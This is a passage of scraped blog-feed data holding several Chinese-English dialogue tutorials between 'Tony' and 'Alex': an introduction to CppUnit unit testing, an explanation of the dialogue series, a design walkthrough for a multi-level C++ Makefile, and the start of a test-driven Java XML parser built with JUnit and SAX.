Ok。\nAlex起身出门，头脑中浮现出一个优秀管理者的形象。\n","permalink":"https://tonybai.com/2005/06/05/tony-alex-dialog-on-from-tech-to-management/","summary":"\u003cp\u003e5月末我参加了一次“从技术到管理的”培训，总体来说还是有所收获的。这段时间我一直想把自己的收获总结出来与大家分享，但是也一直没找到一个很好的形式来表达，我想简单的罗列一些规则和技巧是最最乏味的。在我的“\u003ca href=\"http://tonybai.com/2005/05/24/an-introduction-on-tony-alex-dialog-series/\"\u003e关于Tony与Alex的对话系列的一点说明\u003c/a\u003e”一文中曾经将“Tony与Alex对话系列”定位为技术类的系列文章，但是经过这几天的思考，发现它同样可以用做管理知识起码是技术管理知识的介绍，这篇Blog将作为本系列中的第一篇围绕管理知识的文章。由于本人现在并非管理角色，所以文章内容的正确性和合理性并不能完全保证。\u003c/p\u003e","title":"从技术到管理的对话-Tony与Alex的对话系列"},{"content":"Tony : Hi Alex ! you just looks like drowing in your project. what is up?\nAlex : 我们的项目要求引入单元测试，but i\u0026rsquo;ve no experience in unit test.\nTony : i think cppunit is your best choice.\nAlex : 是的，我刚从网上把它down了下来，正准备研究它呢。\nTony : Really ? I have done some practice on unit test before. would you like me to join you?\nAlex : Oh Tony, I\u0026rsquo;m so glad that you could help me !\nTony : My pleasue !\nAlex : 我们从哪里开始呢？\nTony : The simplest case! 我们拿一个最简单的例子吧。now we have a class with the name \u0026ldquo;SimpleCalculator\u0026rdquo; and it has four basic methods \u0026lsquo;add\u0026rsquo;, \u0026lsquo;sub\u0026rsquo;, \u0026lsquo;mul\u0026rsquo; and \u0026lsquo;div\u0026rsquo;, All we should do is to test whether these methods run as same as we expect. First of all , complete the \u0026ldquo;SimpleCalculator\u0026rdquo; class, Alex.\nAlex : It is simple!\n//SimpleCalculator.h\nclass SimpleCalculator{\npublic :\nint add(int a, int b);\nint sub(int a, int b);\nint mul(int a, int b);\nint div(int a, int b);\n};\n//SimpleCalculator.cpp\nint SimpleCalculator::add(int a, int b){\nreturn a+b;\n}\nint SimpleCalculator::sub(int a, int b){\nreturn a-b;\n}\nint SimpleCalculator::mul(int a, int b){\nreturn a*b;\n}\nint SimpleCalculator::div(int a, int b){\nreturn a/b;\n}\nAlex : 这里简单点，div方法没有考虑0作除数的异常情况。\nTony : 可以。还记得我上次讲的测试驱动开发么，不过今天我们不是用它，我们只做些简单的东西，目的就是为了熟悉工具的使用。\nAlex : 那我们是不是也应该列出一个test case的list亚？\nTony : 没错。\nAlex : 我来随意写几个吧。“add(5,6) == 11” 、“sub(5,6)==-1”、“mul(5,6) == 30”和“div(12,6) == 2”。\nTony : 然后我们一起来学习一下CppUnit的帮助文档吧。\n(Tony and Alex are reading the doc of cppunit.)\nTony : 学到了些什么？\nAlex : 看来这些xUnit框架的测试工具在概念上几乎是一致的，像TestCase、TestFixture和TestSuite这些概念都大同小异。\nTony : 不错，单元测试在于测试思想，工具只是个必要条件而已，工具并不能决定你的测试就是一个好的测试。下面你就按你理解的CppUnit去做吧。\nAlex : Ok. 按照书中所说，我们一次要测试多个method，最好使用TestFixture。我是这样写的，你看看。\n#include \u0026ldquo;SimpleCalculator.h\u0026rdquo;\n#include \u0026ldquo;CppUnit/TestCase.h\u0026rdquo;\n#include \u0026ldquo;CppUnit/TestResult.h\u0026rdquo;\n#include \u0026ldquo;CppUnit/TextOutputter.h\u0026rdquo;\n#include \u0026ldquo;CppUnit/TestResultCollector.h\u0026rdquo;\n#include \u0026ldquo;CppUnit/TestCaller.h\u0026rdquo;\n#include \u0026ldquo;CppUnit/extensions/HelperMacros.h\u0026rdquo;\nclass SimpleCalcTest : public CPPUNIT_NS::TestFixture{\nprivate :\nSimpleCalculator * sc;\npublic:\nvirtual void setUp(){\nsc = new SimpleCalculator();\n}\nvirtual void tearDown(){\ndelete sc; }\nvoid testAdd(){ CPPUNIT_ASSERT_EQUAL( sc-\u0026gt;add(5,6), 11);\n}\nvoid testSub(){ CPPUNIT_ASSERT_EQUAL( sc-\u0026gt;sub(5,6), -1 );\n}\nvoid testMul(){ CPPUNIT_ASSERT_EQUAL( sc-\u0026gt;mul(5,6), 30 );\n}\nvoid testDiv(){ CPPUNIT_ASSERT_EQUAL( sc-\u0026gt;div(12,6), 2 );\n}\n};\n我们的主函数如下：\nint main()\n{\nCPPUNIT_NS::TestResult r;\nCPPUNIT_NS::TestResultCollector result;\nr.addListener( \u0026amp;result );\nCPPUNIT_NS::TestCaller testCase1( \u0026ldquo;testAdd\u0026rdquo;, \u0026amp;SimpleCalcTest::testAdd );\nCPPUNIT_NS::TestCaller testCase2( \u0026ldquo;testSub\u0026rdquo;, \u0026amp;SimpleCalcTest::testSub );\nCPPUNIT_NS::TestCaller testCase3( \u0026ldquo;testMul\u0026rdquo;, \u0026amp;SimpleCalcTest::testMul );\nCPPUNIT_NS::TestCaller testCase4( \u0026ldquo;testDiv\u0026rdquo;, \u0026amp;SimpleCalcTest::testDiv );\ntestCase1.run( \u0026amp;r );\ntestCase2.run( \u0026amp;r );\ntestCase3.run( \u0026amp;r );\ntestCase4.run( \u0026amp;r );\nCPPUNIT_NS::TextOutputter out( \u0026amp;result, std::cout );\nout.write();\nreturn 0;\n}\nTony : 我觉得可行。运行一下，看看如何。\nAlex : 输出结果如下：\nOK (4 tests)\nTony : 这的确是一种可行的办法，不过你回想一下我们一起学习的doc中的内容，看看是否还有改进的余地了。现在如果你要在SimpleCalcTest类中加一个测试用例方法，不仅仅SimpleCalcTest要修改，我们的main函数也需要修改，还记得JUnit中有什么概念来支持么？\nAlex : 你不提我还真的记不起来了，JUnit中有TestSuite，刚才在cppunit doc中我也看到了suite方法，也许会帮得上忙，稍等一下我再翻翻文档….\nAlex : 我找到了。的确有更为简单的方法。我修改一下，引用的头文件不变。\nclass SimpleCalcTest : public CPPUNIT_NS::TestFixture{\nCPPUNIT_TEST_SUITE( SimpleCalcTest );\nCPPUNIT_TEST( testAdd );\nCPPUNIT_TEST( testSub );\nCPPUNIT_TEST( testMul);\nCPPUNIT_TEST( testDiv ); CPPUNIT_TEST_SUITE_END();\nprivate :\nSimpleCalculator * sc;\npublic:\nvirtual void setUp(){\nsc = new SimpleCalculator();\n}\nvirtual void tearDown(){\ndelete sc; }\nvoid testAdd(){ CPPUNIT_ASSERT_EQUAL( sc-\u0026gt;add(5,6), 11);\n}\nvoid testSub(){ CPPUNIT_ASSERT_EQUAL( sc-\u0026gt;sub(5,6), -1 );\n}\nvoid testMul(){ CPPUNIT_ASSERT_EQUAL( sc-\u0026gt;mul(5,6), 30 );\n}\nvoid testDiv(){ CPPUNIT_ASSERT_EQUAL( sc-\u0026gt;div(12,6), 2 );\n}\n};\nCPPUNIT_TEST_SUITE_REGISTRATION( SimpleCalcTest );\n主函数修改后如下：\nint main()\n{\nCPPUNIT_NS::TestResult r;\nCPPUNIT_NS::TestResultCollector result;\nr.addListener( \u0026amp;result );\nCPPUNIT_NS::TestFactoryRegistry::getRegistry().makeTest()-\u0026gt;run( \u0026amp;r );\nCPPUNIT_NS::TextOutputter out( \u0026amp;result, std::cout );\nout.write();\nreturn 0;\n}\nCppUnit利用宏来解决Suite的问题。在你的TestCase定义里面写入如下的这段代码：\nCPPUNIT_TEST_SUITE( YourTestCase );\nCPPUNIT_TEST( testXX);\n…//\nCPPUNIT_TEST_SUITE_END();\n这段代码实际上是定义了一个函数suite，这个函数返回了一个包含了所有CPPUNIT_TEST定义的测试用例的一个测试集。CPPUNIT_TEST_SUITE_REGISTRATION通过静态注册把这个测试集注册到全局的测试树中，最后通过CPPUNIT_NS::TestFactoryRegistry::getRegistry().makeTest()生成一个包含所有测试用例的测试并且运行。这样的话，一旦要添加新的测试用例函数，我们只需要修改SimpleCalcTest类即可。\nTony : Well done! Alex你独立解决问题的能力越来越强了。相信做到这你已经心里有底儿了，再往后就是在你的实际项目中摸索CppUnit的使用经验了。\nAlex : 呵呵。谢谢夸奖！\n","permalink":"https://tonybai.com/2005/05/30/tony-alex-dialog-on-cppunit-introduction/","summary":"\u003cp\u003eTony : Hi Alex ! you just looks like drowing in your project. what is up?\u003cbr\u003e\nAlex : 我们的项目要求引入单元测试，but i\u0026rsquo;ve no experience in unit test.\u003cbr\u003e\nTony : i think cppunit is your best choice.\u003cbr\u003e\nAlex : 是的，我刚从网上把它down了下来，正准备研究它呢。\u003cbr\u003e\nTony : Really ? I have done some practice on unit test before. would you like me to join you?\u003cbr\u003e\nAlex : Oh Tony, I\u0026rsquo;m so glad that you could help me !\u003cbr\u003e\nTony : My pleasue !\u003cbr\u003e\nAlex : 我们从哪里开始呢？\u003cbr\u003e\nTony : The simplest case! 我们拿一个最简单的例子吧。now we have a class with the name \u0026ldquo;SimpleCalculator\u0026rdquo; and it has four basic methods \u0026lsquo;add\u0026rsquo;, \u0026lsquo;sub\u0026rsquo;, \u0026lsquo;mul\u0026rsquo; and \u0026lsquo;div\u0026rsquo;, All we should do is to test whether these methods run as same as we expect. First of all , complete the \u0026ldquo;SimpleCalculator\u0026rdquo; class, Alex.\u003cbr\u003e\nAlex : It is simple!\u003c/p\u003e","title":"CppUnit入门实践-Tony与Alex的对话系列"},{"content":"相信这种形式的小品文大家看到过一些，其中很有名的有“Solmyr和Zero的故事”，如果没记错的话，那个系列文章记录的是两个人Solmyr和Zero之间的技术交流过程，而据说Solmyr和Zero在真实世界中都是有原型的[注1]。对比起Zero的故事系列，我的文章中语言不免有些干涩，形式过于拘泥，呵呵。不过刚开始么，我会一点点地改进的。我的小品文系列与“Zero的故事系列”最大的不同是它仅是记录了我一个人的思维过程。相信读过我这个系列的人都知道Alex和Tony两个主人公，实际上这两个人的原型都是我自己，Alex的疑问和Tony的解答实际上是我自己的“自问自答”。每篇对话实际上记录的都是我解决某个问题整个思维过程。而其中讨论和解决的问题也都是我在工作和学习中遇到的，颇具实践意义。这个系列小品文我会一直继续下去的，但内容可能不是很连贯，涉猎的话题类型也许会很多。希望对大家还是有所帮助的。\nBTW,最近发现有很多网友转载我的Blog，我很是欣慰，觉得自己付出的努力得到了大家的认可，但是处于尊重我的劳动成果的考虑，请转载我的文章时注明文章出处，谢谢。All right reserved!^_^\n注1：(源自csdn)\n“Solmyr和Zero的故事”这个系列是 zero 的作品。“Solmyr的小品文”系列和“Solmyr和Zero的故事”系列本来是Solmyr和 zero 在 PC Home BBS 上“互相攻击”的产物。\n","permalink":"https://tonybai.com/2005/05/24/an-introduction-on-tony-alex-dialog-series/","summary":"\u003cp\u003e相信这种形式的小品文大家看到过一些，其中很有名的有“Solmyr和Zero的故事”，如果没记错的话，那个系列文章记录的是两个人Solmyr和Zero之间的技术交流过程，而据说Solmyr和Zero在真实世界中都是有原型的[注1]。对比起Zero的故事系列，我的文章中语言不免有些干涩，形式过于拘泥，呵呵。不过刚开始么，我会一点点地改进的。我的小品文系列与“Zero的故事系列”最大的不同是它仅是记录了我一个人的思维过程。相信读过我这个系列的人都知道Alex和Tony两个主人公，实际上这两个人的原型都是我自己，Alex的疑问和Tony的解答实际上是我自己的“自问自答”。每篇对话实际上记录的都是我解决某个问题整个思维过程。而其中讨论和解决的问题也都是我在工作和学习中遇到的，颇具实践意义。这个系列小品文我会一直继续下去的，但内容可能不是很连贯，涉猎的话题类型也许会很多。希望对大家还是有所帮助的。\u003c/p\u003e","title":"关于Tony与Alex的对话系列的一点说明"},{"content":"Tony : Hey Alex, How are you doing?\nAlex : 不怎么样。(显得很消沉的样子)\nTony : Oh , Really ? What is the matter?\nAlex : 事情是这样的。最近有一个Unix下的C++项目要求我独自完成，以前都是跟着别人做，现在让自己独立完成，还真是不知道该怎么办，就连一个最简单的项目的Makefile都搞不定。昨晚看了一晚上资料也没有什么头绪。唉！！\nTony : 别急，我曾经有一段时间研究过一些关于Makefile的东西，也许能帮得上忙，来，我们一起来设计这个项目的Makefile。\nAlex : So it is a deal。(一言为定)\nTony : 我们现在就开始吧，给我拿把椅子过来。\n(Tony坐在Alex电脑的旁边)\nTony : 把你的项目情况大概给我讲讲吧。\nAlex : No Problem ! 这是一个“半成品”项目，也就是说我将提供一个开发框架供应用开发人员使用，一个类似MFC的东西。\nTony : 继续。\nAlex : 我现在头脑中的项目目录结构是这样的：\nAPL (Alex\u0026rsquo;s Programming Library)\n-Make.properties\n-Makefile(1)\n-include //存放头文件\n-Module1_1.h\n-Module1_2.h\n-Module2_1.h\n-Module2_2.h\n-src //存放源文件\n-Makefile(2)\n-module1\n-Module1_1.cpp\n-Module1_2.cpp\n-Makefile(3)\n-module2\n-Module2_1.cpp\n-Module2_2.cpp\n-Makefile(3)\n-…\n-lib //存放该Project依赖的库文件,型如libxxx.a\n-dist //存放该Project编译连接后的库文件libapl.a\n-examples //存放使用该“半成品”搭建的例子应用的源程序\nMakefile(4)\n-appdemo1\n-Makefile(5)\n-src //存放应用源代码\n-include\n-bin //存放应用可执行程序\n-appdemo2\n-Makefile(5)\n-src //存放应用源代码\n-include\n-bin //存放应用可执行程序\n-…\nTony : I got it!\nAlex : 下面我们该如何做呢？\nTony : 我们来分析一下各个Makefile的作用。你来分析一下各个级别目录下的Makefile的作用是什么呢？\nAlex : (思考了一会儿)我想应该是这样的吧。\nMakefile(3)负责将其module下的.cpp源文件编译为同名.o文件，同时其phony target \u0026ldquo;clean\u0026quot;负责删除该目录下的所有.o文件;\nMakefile(2)负责调用src目录下所有module的Makefile文件。\nMakefile(1)负责先调用src中的Makefile生成静态库文件，然后调用examples中的Makefile构建基于该框架的应用。\n至于Make.properties，定义通用的目录信息变量、编译器参数变量和通用的依赖关系。\nTony : 说得很好。我们一点一点来，先从src中每个module下的Makefile着手，就如你所说在每个module下的Makefile负责将该module下的.cpp文件编译为同名的.o文件。\nAlex : 好的，我来写吧，这个我还是能搞定的。看下面：\nmodule1下的Makefile如下：\n#\n# Makefile for module1\n#\nall : Module1_1.o Module1_2.o\nModule1_1.o : Module1_1.cpp\ng++ -c $^ -I ../../include\nModule1_2.o : Module1_2.cpp\ng++ -c $^ -I ../../include\nclean :\nrm -f *.o\nmodule2下的Makefile如下：\n#\n# Makefile for module2\n#\nall : Module2_1.o Module2_2.o\nModule2_1.o : Module2_1.cpp\ng++ -c $^ -I ../../include\nModule2_2.o : Module2_2.cpp\ng++ -c $^ -I ../../include\nclean :\nrm -f *.o\nmake一下，顺利产生相应的.o文件。\n/*=============================================================\nNote: 关于$^、$\u0026lt;和$@的用法说明:\n$@ — “$@”表示目标的集合，就像一个数组，“$@”依次取出目标，并执于命令。\n$^ — 所有的依赖目标的集合。以空格分隔。如果在依赖目标中有多个重复的，那个这个变量会去除重复的依赖目标，只保留一份。\n$\u0026lt; — 依赖目标中的第一个目标名字\n举例: Module1_1.o Module1_2.o : Module1_1.cpp Module1_2.cpp\n则$@ — Module1_1.o Module1_2.o\n$^ — Module1_1.cpp Module1_2.cpp\n$\u0026lt; — Module1_1.cpp\n==============================================================*/\nTony : Well done! 不过发现什么问题了么？\nAlex : 什么问题？\nTony : 存在重复的东西。在重构中我们知道如果两个子类中都定义相同的接口函数，我们会将其pull up到基类中。同样我们可以重构我们的Makefile,把一些重复的东西拿到外层去。\nAlex : （似乎略微明白了一些）我想有三处重复：a)查找头文件的路径是重复的; b)g++这个字符串可以用一个变量定义代替 c)编译器的编译参数可以也定义到一个变量中。我知道Make工具支持include一个文件，我们就建立一个公用的文件来存放一些通用的东西吧。\nTony : 没错，Just do it.\nAlex : 就按我原先的想法，把这些公共的部分放到Make.properties中吧。\n#\n# Properties for demo\u0026rsquo;s Makefile\n#\nMAKEFILE = Makefile\nBASEDIR = $(HOME)/proj/demo\n####################\n# Directory layout #\n####################\nSRCDIR = $(BASEDIR)/src\nINCLUDEDIR = $(BASEDIR)/include\nLIBDIR = $(BASEDIRE)/lib\nDISTDIR = $(BASEDIR)/dist\n####################\n# Compiler options #\n# F_ — FLAG #\n####################\nCC = g++\n# Compiler search options\nF_INCLUDE = -I$(INCLUDEDIR)\nF_LIB = -L $(LIBDIR)\nCFLAGS =\nCPPFLAGS = $(CFLAGS) $(F_INCLUDE)\n然后修改一下，各个module中的Makefile文件，以module1为例，修改后如下：\n#\n# Makefile for module1\n#\ninclude ../../Make.properties\nall : Module1_1.o Module1_2.o\nModule1_1.o : Module1_1.cpp\n$(CC) -c $^ $(CPPFLAGS)\nModule1_2.o : Module1_2.cpp\n$(CC) -c $^ $(CPPFLAGS)\nclean :\nrm -f *.o\nTony : 其实这两个Makefile中还有一个隐含的重复的地方\nAlex : 你是指依赖规则么？\nTony : 嗯，这个依赖规则在src中的各个module中都会用得到的。\nAlex : 没错，我也是这么想的，我现在就把这个规则抽取出来，然后你来评审一下。我想利用make工具的传统的“后缀规则”来定义通用依赖规则，我在Make.properties加入下面的变量定义：\n####################\n# Common depends #\n####################\nDEPS = .cpp.o\n然后还是以module1为例，修改module1的Makefile后如下：\n#\n# Makefile for module1\n#\ninclude ../../Make.properties\nall : Module1_1.o Module1_2.o\n$(DEPS):\n$(CC) -c $^ $(CPPFLAGS)\nclean :\nrm -f *.o\nTony : 基本满足需求。我们可以进行上一个层次的Makefile的设计了。我们来设计Makefile(2)。Alex，你来回顾一下Makefile(2)的作用。\n/*=============================================================\nNote: 关于后缀规则的说明\n后缀规则中所定义的后缀应该是make 所认识的，如果一个后缀是make 所认识的，那么这个规则就是单后缀规则，而如果两个\n连在一起的后缀都被make 所认识，那就是双后缀规则。例如：\u0026quot;.c\u0026quot;和\u0026rdquo;.o\u0026quot;都是make 所知道。因而，如果你定义了一个规则是\n\u0026ldquo;.c.o\u0026quot;那么其就是双后缀规则，意义就是\u0026rdquo;.c\u0026quot;是源文件的后缀，\u0026quot;.o\u0026quot;是目标文件的后缀, \u0026ldquo;.c.o\u0026quot;意为利用.c文件构造同名.o文件。\n==============================================================*/\nAlex : No Problem! 正如前面说过的Makefile(2)负责调用src目录下所有module子目录下的Makefile文件，并负责将各个module下的.o文件打包为libdemo.a文件放到dist目录中。所以存在简单的依赖关系就是libdemo.a依赖各个module子目录下的.o文件，而前面的Makefile(3)已经帮我们解决了.o文件的生成问题了,即我们只需要逐个在各module子目录下make即可。我的Makefile(2)文件设计如下：\n#\n# Makefile for src directory\n#\ninclude ../Make.properties\nTARGET = libdemo.a\n####################\n# Subdirs define #\n####################\nMODULE1_PATH = module1\nMODULE2_PATH = module2\nSUBDIRS = $(MODULE1_PATH) $(MODULE2_PATH) ####################\n# Objects define #\n####################\nMODULE1_OBJS = $(MODULE1_PATH)/Module1_1.o $(MODULE1_PATH)/Module1_2.o\nMODULE2_OBJS = $(MODULE2_PATH)/Module2_1.o $(MODULE2_PATH)/Module2_2.o\nDEMO_OBJS = $(MODULE1_OBJS) $(MODULE2_OBJS)\nall : subdirs $(TARGET)\ncp $(TARGET) $(DISTDIR)\nsubdirs:\n@for i in $(SUBDIRS); do \\\necho \u0026ldquo;===\u0026gt;$$i\u0026rdquo;; \\\n(cd $$i \u0026amp;\u0026amp;$(MAKE) -f $(MAKEFILE)) || exit 1; \\\necho \u0026ldquo;\u0026lt;===$$i\u0026rdquo;; \\\ndone\n$(TARGET) : $(DEMO_OBJS)\nar -r $@ $^\nclean:\n@for i in $(SUBDIRS); do \\\necho \u0026ldquo;===\u0026gt;$$i\u0026rdquo;; \\\n(cd $$i \u0026amp;\u0026amp;$(MAKE) clean -f $(MAKEFILE)) || exit 1; \\\necho \u0026ldquo;\u0026lt;===$$i\u0026rdquo;; \\\ndone\nrm -f $(DISTDIR)/$(TARGET)\nTony : Alex你的进步真的是很大，分析问题的能力提高的很快，方法也不错。这个设计的缺点在于一旦新增了一个module子目录，这个Makefile文件就需要改动，不过改起来倒不是很难。有机会可以再想想，使这个Makefile更加通用。\nAlex : 我记住了。我们继续么？\nTony : 歇一回吧^_^。\n/*=============================================================\nAlex and Tony are having a short break.\n==============================================================*/\nTony : 你的咖啡味道真不错。\nAlex : 这可是朋友从巴西带回来的极品咖啡豆，经过我精心研磨而成的。\nTony : 想不到你在这方面还有研究。\nAlex : 呵呵。\nTony : Let\u0026rsquo;s go on 。有了Makefile(2)，后面的工作就轻松多了。\nAlex : 现在我的信心也很足，我来设计Makefile(1)，它负责先调用src中的Makefile生成静态库文件，然后调用examples中的Makefile构建基于该框架的应用。我还是按照Makefile(2)的思路走，看我的Makefile(1):\n#\n# Makefile for whole project\n#\ninclude Make.properties\nSRC_PATH = src\nEXAMPLES_PATH = examples\nSUBDIRS = $(SRC_PATH) $(EXAMPLES_PATH) all : subdirs\nsubdirs:\n@for i in $(SUBDIRS); do \\\necho \u0026ldquo;===\u0026gt;$$i\u0026rdquo;; \\\n(cd $$i \u0026amp;\u0026amp; $(MAKE) -f $(MAKEFILE)) || exit 1; \\\necho \u0026ldquo;\u0026lt;===$$i\u0026rdquo;; \\\ndone\nclean:\n@for i in $(SUBDIRS); do \\\necho \u0026ldquo;===\u0026gt;$$i\u0026rdquo;; \\\n(cd $$i \u0026amp;\u0026amp; $(MAKE) clean -f $(MAKEFILE)) || exit 1; \\\necho \u0026ldquo;\u0026lt;===$$i\u0026rdquo;; \\\ndone\n运行一下，由于examples目录下的Makefile还是空的，所以没有成功。\nTony : 有了前面的经验，相信完成examples目录下的两个Makefile对你来说不成问题。\nAlex : I could not agree with you any more(Alex脸上满是笑容)，我来完成它。\n每个appdemoX下的Makefile(5)我设计成这样：\n#\n# Makefile for appdemoX\n#\ninclude ../../Make.properties\nTARGET = appdemoX\nSRC = ./src/appdemoX.cpp\nall :\n$(CC) -o $(TARGET) $(SRC) $(CPPFLAGS) -L $(DISTDIR) -ldemo\nmv $(TARGET).exe ./bin\nclean :\nrm -f ./src/*.o ./bin/$(TARGET).exe\n而examples目录下的Makefile(4)的样子如下：\n#\n# Makefile for examples directory\n#\ninclude ../Make.properties\nEXAMPLE1_PATH = appdemo1\nEXAMPLE2_PATH = appdemo2\nSUBDIRS = $(EXAMPLE1_PATH) $(EXAMPLE2_PATH) all : subdirs\nsubdirs:\n@for i in $(SUBDIRS); do \\\necho \u0026ldquo;===\u0026gt;$$i\u0026rdquo;; \\\n(cd $$i \u0026amp;\u0026amp;$(MAKE) -f $(MAKEFILE)) || exit 1; \\\necho \u0026ldquo;\u0026lt;===$$i\u0026rdquo;; \\\ndone\nclean:\n@for i in $(SUBDIRS); do \\\necho \u0026ldquo;===\u0026gt;$$i\u0026rdquo;; \\\n(cd $$i \u0026amp;\u0026amp;$(MAKE) clean -f $(MAKEFILE)) || exit 1; \\\necho \u0026ldquo;\u0026lt;===$$i\u0026rdquo;; \\\ndone\nTony : 可以，不知不觉间，我们的工作已经接近尾声，剩下的工作就是细节了，包括编译器参数的细化等。\nAlex : 在Makefile(1)中加上install,tar等目标，使用户得到有更多的功能。十分感谢你的指导。\nTony : 那晚上去原味斋吧，想烤鸭了^_^。\n/*=============================================================\nNote : Makefile常识\na) \u0026ldquo;=\u0026rdquo; vs \u0026ldquo;:=\u0026rdquo;\n例子：\nC_OPTIONS = $(C_EXTRA_OPTION) -O2\nC_EXTRA_OPTION = -g\ncfoo: foo.c exam.c\ngcc $(C_OPTIONS) -o $@ $^\n=\u0026gt;gcc -g -O2 -o cfoo foo.c exam.c\nC_OPTIONS := $(C_EXTRA_OPTION) -O2\nC_EXTRA_OPTION = -g\ncfoo: foo.c exam.c\ngcc $(C_OPTIONS) -o $@ $^\n=\u0026gt;gcc -O2 -o cfoo foo.c exam.c\n大家发现不同了，Why? 使用“=”赋值的变量在使用时才被展开，并且每使用一次就会展开一次，其值每次展开的时候有可能是不同的,就如第一个C_OPTION由于在使用时展开，所以C_EXTAR_OPTION定义的位置不影响C_OPTION的值。而使用“:=”进行赋值的变量，则在赋值的时候就被展开，并且仅仅展开一次，从此以后其值将不会发生任何变化，就第二个C_OPTION由于定义时展开所以由于定义时看不到C_EXTAR_OPTION所以值为-02，而不是-g -02。\nb) wildcard 函数\n在 GNU Make 里有一个叫 \u0026lsquo;wildcard\u0026rsquo; 的函数，它有一个参数，功能是展开成一列所有符合由其参数描述的文件名，文件间以空格间隔。你可以像下面所示使用这个命令：SOURCES = $(wildcard *.cpp) SOURCES = xx.cpp yy.cpp … zz.cpp\n==============================================================*/\n","permalink":"https://tonybai.com/2005/05/23/tony-alex-dialog-on-write-makefile-for-cpp-project/","summary":"\u003cp\u003eTony : Hey Alex, How are you doing?\u003cbr\u003e\nAlex : 不怎么样。(显得很消沉的样子)\u003cbr\u003e\nTony : Oh , Really ? What is the matter?\u003cbr\u003e\nAlex : 事情是这样的。最近有一个\u003ca href=\"http://tonybai.com/tag/Unix\"\u003eUnix\u003c/a\u003e下的\u003ca href=\"http://tonybai.com/tag/Cpp\"\u003eC++\u003c/a\u003e项目要求我独自完成，以前都是跟着别人做，现在让自己独立完成，还真是不知道该怎么办，就连一个最简单的项目的Makefile都搞不定。昨晚看了一晚上资料也没有什么头绪。唉！！\u003cbr\u003e\nTony : 别急，我曾经有一段时间研究过一些关于\u003ca href=\"http://tonybai.com/tag/Makefile\"\u003eMakefile\u003c/a\u003e的东西，也许能帮得上忙，来，我们一起来设计这个项目的Makefile。\u003cbr\u003e\nAlex : So it is a deal。(一言为定)\u003cbr\u003e\nTony : 我们现在就开始吧，给我拿把椅子过来。\u003c/p\u003e","title":"一个C++项目的Makefile编写-Tony与Alex的对话系列"},{"content":"Tony : Alex今天我们来做一个xml parser.我们使用的开发工具为Eclipse + JUnit\nAlex : 好啊，喜欢接受挑战。\nTony : 先看看我们要解析的xml file的样子:\n使用XmlSpy自动生成其DTD如下：\n\u0026lt;!ATTLIST test name CDATA #REQUIRED\n\u0026gt;\n\u0026lt;!ATTLIST suite name CDATA #REQUIRED\ncategory CDATA #REQUIRED\n\u0026gt;\n\u0026lt;!ATTLIST classes name CDATA #REQUIRED\n\u0026gt;\n我们就是要将该xml文件中的test , suite, class标签中存储的信息读出来，存储在数据结构中XmlTest中。所以我们的Parser的parse方法返回的就是个XmlTest的引用。我们通过上面的xml文件，我们可以确定一个类-XmlTest，带有一个成员name，创建XmlTest, 这个so easy\npublic class XmlTest {\nprivate String name;\n/**\n* @param name The name to set.\n*/\npublic void setName(String name) {\nthis.name = name;\n}\n/**\n* @return Returns the name.\n*/\npublic String getName() {\nreturn name;\n}\n}\n接下来,tdd的经典流程就是先写出feature list,来我们琢磨一下吧，\nAlex :首先我们要知道我们要解析的xml文件的存放处，如果用户提供一个错误的位置，我们应该抛出异常。—-（1）\nTony :Great idea! 那我们就动手把。首先我们创建一个测试类ParserTest，添加一个方法\ntestNotFoundXmlFile,并创建一个Parser实例,将错误的xml文件路径传给它。代码如下：\npublic class ParserTest extends TestCase {\npublic void testNotFindXmlFile(){\ntry{\nParser parser = new Parser(\u0026ldquo;D:\\\\TestDemo\\\\demo1.xml\u0026rdquo;);\nXmlTest result = parser.parse();\nfail(\u0026ldquo;The FileNotFileFoundException should be raised!\u0026rdquo;);\n}catch(FileNotFoundException fnfe){\n}\n}\n}\nrun the test –\u0026gt; red bar\n由于Parser类暂不存在，当然测试通过不了了。添加Parser类，并添加parse方法\npublic class Parser {\nprivate String xmlFilePath;\npublic Parser(String xmlFilePath){\nthis.xmlFilePath = xmlFilePath;\n}\npublic XmlTest parse() {\nreturn null;\n}\n}\nrun the test–\u0026gt;red bar\nAlex :我来修改一下parse方法\npublic XmlTest parse()throws FileNotFoundException{\nFile file = new File(xmlFilePath);\nif(!file.exists()){\nthrow new FileNotFoundException();\n}\nreturn null;\n}\n再试试吧。\nTony : Ok，green bar ,so beautiful!!! 我们这么快就完成了第一个feature了。\nAlex : 是呀，不过这只是个开头。最主要的功能还没有实现呢。Just go on!\nTony : ok ,继续。\nAlex :从dtd可以看出，该xml的根元素是test标签。下一步我们要完成的就是读取根元素test标签的属性信息—-（2）\nTony :i could not agree with you any more !! 这样就涉及到一些xml解析的知识了，我们来学习一下吧。\na short break !\nTony and Alex are studying JAXP together!\nTony :怎么样，ok了么\nAlex :差不多了，JAXP不难，我们继续把。\nTony :是呀，按照JAXP给的例子，我们可能很容易就达到目的。ok，让我们add a new test.\npublic void testReadTestNode(){\ntry{\nParser parser = new Parser(\u0026ldquo;D:\\\\TestDemo\\\\demo.xml\u0026rdquo;);\nXmlTest result = parser.parse(); assertEquals(\u0026ldquo;my first test\u0026rdquo;, result.getName());\n}catch(FileNotFoundException fnfe){\nfail(\u0026ldquo;The program should not reach here\u0026rdquo;);\n}\n}\nrun the test, as we expect it is a red bar.\nAlex :根据JAXP的例子，我们解析特殊的xml file需要自己定制一个DefaultHandler的子类。然后将之传给SAXParser的parse方法。\nTony :好吧，让我们创建一个MyHandler class吧！\nAlex :根据SAX的解析流程，我们要override some methods\nTony :要让我们的测试用例通过，我们得override DefaultHandler的startElement method,通过MyHandler获取我们所要的内容。\npublic class MyHandler extends DefaultHandler {\nprivate XmlTest curXmlTest = null;\npublic XmlTest getXmlTest(){\nreturn curXmlTest;\n}\npublic void startElement(String uri, String localName, String qName,\nAttributes attributes) throws SAXException {\nif (\u0026ldquo;test\u0026rdquo;.equals(qName)) {\ncurXmlTest = new XmlTest();\ncurXmlTest.setName(attributes.getValue(\u0026ldquo;name\u0026rdquo;));\n}\n} }\nAlex :同时我们还要修改一下我们的Parser类的parse方法，如下：\nparser.parse(file, myHandler);\nresult = myHandler.getXmlTest();\n这样我们通过MyHandler取得了我们需要的东西，相信这一回test一定会通过的\nTony : 如你所愿，通过了。\nAlex : 看看我们的代码，有些乱是吧。我们来重构一下吧。\nTony :我们先来重构一下测试代码。利用Junit提供的setUp将testfixture部分封装起来。\nAlex :我来做。\npublic class ParserTest extends TestCase {\nprivate Parser parser;\nprotected void setUp() throws Exception { super.setUp();\nparser = new Parser(\u0026ldquo;D:\\\\TestDemo\\\\demo.xml\u0026rdquo;);\n}\n//…\npublic void testReadTestNode(){\ntry{ 